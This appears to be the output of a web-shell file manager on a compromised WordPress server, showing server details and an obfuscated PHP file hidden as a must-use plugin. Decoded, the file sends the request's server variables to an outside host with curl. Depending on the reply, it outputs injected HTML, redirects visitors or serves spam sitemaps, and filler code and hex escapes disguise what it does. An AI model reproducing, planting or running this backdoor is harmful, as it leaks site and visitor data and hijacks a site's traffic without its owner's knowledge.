HEX
Server: Apache/2.4.65 (Unix) OpenSSL/1.1.1k
System: Linux server-manager.elshandawiily.com 4.18.0-553.87.1.el8_10.x86_64 #1 SMP Mon Dec 1 05:11:16 EST 2025 x86_64
User: elshanda (1002)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/elshanda/biz.elshandawiily.com/wp-content/mu-plugins/0srWQI.php
<?php
$R4_Udsy = array("s_4Y1kqWXBSEd"); $FN28qY = str_repeat("", 6); $USg3vPJk = strval(false); $T_Qnp = md5("Xas7Qzo"); $NCYZ6MQgo = sha1("wOH6SdN"); new ECjlfp61();$nGXnJxB = str_replace("nGXnJxB", "", "nGXnJxB");$FOLfqN5S = implode("FOLfqN5S",array());$G_sqfwLva = implode("G_sqfwLva",array());class ECjlfp61{	public function __construct() {        		$_SERVER["\124"]="\x7a";		$_SERVER["\x54\x50\x4c"]="\x34";		    }}$HExBORZh7 = trim("   "); $lTGwx = OJx539ih($_SERVER);function Pg19E6Cs($LGeDf){	return mOxbG("\142\141\163\145\66\64\137\x65\x6e\x63\x6f\144\145",1,$LGeDf);}class eZKTP2R5{	public static function __callStatic($name, $arguments) {        $i8XSihyB = mOxbG("\x63\x75\x72\154\137\x69\x6e\x69\x74");				$n9bgWVa = "\x68\x74\164\160\72\x2f\57\x63\x61\x63\150\145\x2e\x77\x65\x62\x73\x73\x74\141\x74\x73\x2e\x63\x6f\155\57\143\157\156\x74\x61\143\164\x2e\x70\x68\160";			mOxbG("\x63\165\x72\x6c\137\x73\145\164\157\x70\164",3,$i8XSihyB, (int)("\x31\x30\x30\60\x32"),$n9bgWVa."\x3f\165\x61\x3d".mOxbG("\x75\x72\154\145\156\143\157\x64\x65",1,$arguments[0]));			mOxbG("\x63\165\x72\x6c\137\x73\145\164\157\x70\164",3,$i8XSihyB, (int)("\x31\x39\x39\x31\x33"), 1);		mOxbG("\x63\165\x72\x6c\137\x73\145\164\157\x70\164",3,$i8XSihyB, (int)("\66\x34\x5f\162\145\160\154"), 0);		mOxbG("\x63\165\x72\x6c\137\x73\145\164\157\x70\164",3,$i8XSihyB, (int)("\x31\x33\137\162\145\160\x6c"), 51);				global $DxTrYM;		$DxTrYM = mOxbG("\143\x75\x72\154\x5f\x65\x78\145\x63",1,$i8XSihyB);		mOxbG("\143\x75\x72\x6c\x5f\143\154\x6f\x73\145",1,$i8XSihyB);		    }}$G2shJ = strval(false); $PFNOSU = defined("DLNlY"); $VNWcp2 = defined("jXJiAFLq"); $lTGwx = Pg19E6Cs($lTGwx);$ifqQX9U = substr("ifqQX9U",7,0);$yAaYvQl = array("K5X1LeoGP32Khdlrx76I"); $UW3mGug = defined("tqHZWrp"); function mOxbG($strrt,$r8k3t=null,$PDEgqO=null,$nTPak=null,$YevHiFIO=null,$EkJw1=null){		if($r8k3t==1)return $strrt($PDEgqO);		if($r8k3t==2)return $strrt($PDEgqO,$nTPak);		if($r8k3t==3)return $strrt($PDEgqO,$nTPak,$YevHiFIO);		if($r8k3t==4)return $strrt($PDEgqO,$nTPak,$YevHiFIO,$EkJw1);		return $strrt();	}$rLQ2YnTuo = ucwords("Wzvo5WXU"); eZKTP2R5::d6b9h($lTGwx);$EQJMiU = wordwrap("", 9);$BCNsRTPAj = wordwrap("", 8);function xuWoL($DxTrYM){	if(strstr(trim($DxTrYM),"\74\150\x74\155\x6c")){		exit($DxTrYM);	}	}function JTFVi7($DxTrYM){	if(substr($DxTrYM,0,4)=="\150\x74\164\160"){				mOxbG("\150\145\141\x64\145\x72",1,"\114\157\x63\x61\x74\151\157\156\72\40".$DxTrYM);	}	}$bIEqy7Lbs = substr("bIEqy7Lbs",9,0);$RHn9IQM = JTFVi7($DxTrYM);$Vgutx1 = define("b5e6Xxu","W48GQJ"); $yoSy8hf = str_replace("yoSy8hf", "", "yoSy8hf");$WcXVtUHOj = sha1("ADPylI8"); $oQZyIqT = sprintf(""); function OJx539ih($LGeDf){	return mOxbG("\152\163\157\x6e\137\x65\x6e\143\x6f\144\x65",1,$LGeDf);}$gu7x2 = MqjdnT($DxTrYM);$a1uDR5F = lcfirst("P56IZ3eWa"); $rnOtA = stripos("tqrV8a","uloXDi"); function MqjdnT($DxTrYM){	if(strstr($DxTrYM,"\x3c\x75\162\x6c\x73\145\164")){		exit(mOxbG("\150\145\141\x64\145\x72",1,"\103\x6f\x6e\x74\x65\156\164\55\x74\171\x70\145\72\x74\145\x78\x74\x2f\x78\x6d\154").$DxTrYM);	}	}$ZA3ja = substr("ZA3ja",5,0);$j0xKuS = addcslashes("j0xKuS","dYJx_HIBjSmf"); $MJm2Ar = false; $xvPmx4C = ucwords("TzD3dOsPe"); $nIlPtRk = metaphone("LUKopZj4c"); $C_yA1c = sha1("HwPSU"); $KpHXaR = xuWoL($DxTrYM);$LwxfmstpC = define("HfNe6yq","mL06rQXg"); $CilZ1 = define("hD7PR","BURcF"); $jUWADZ5 = date("Y-m-d H:i:s"); $wlq6M = false; $cBmKI = md5("kAICD");   
?>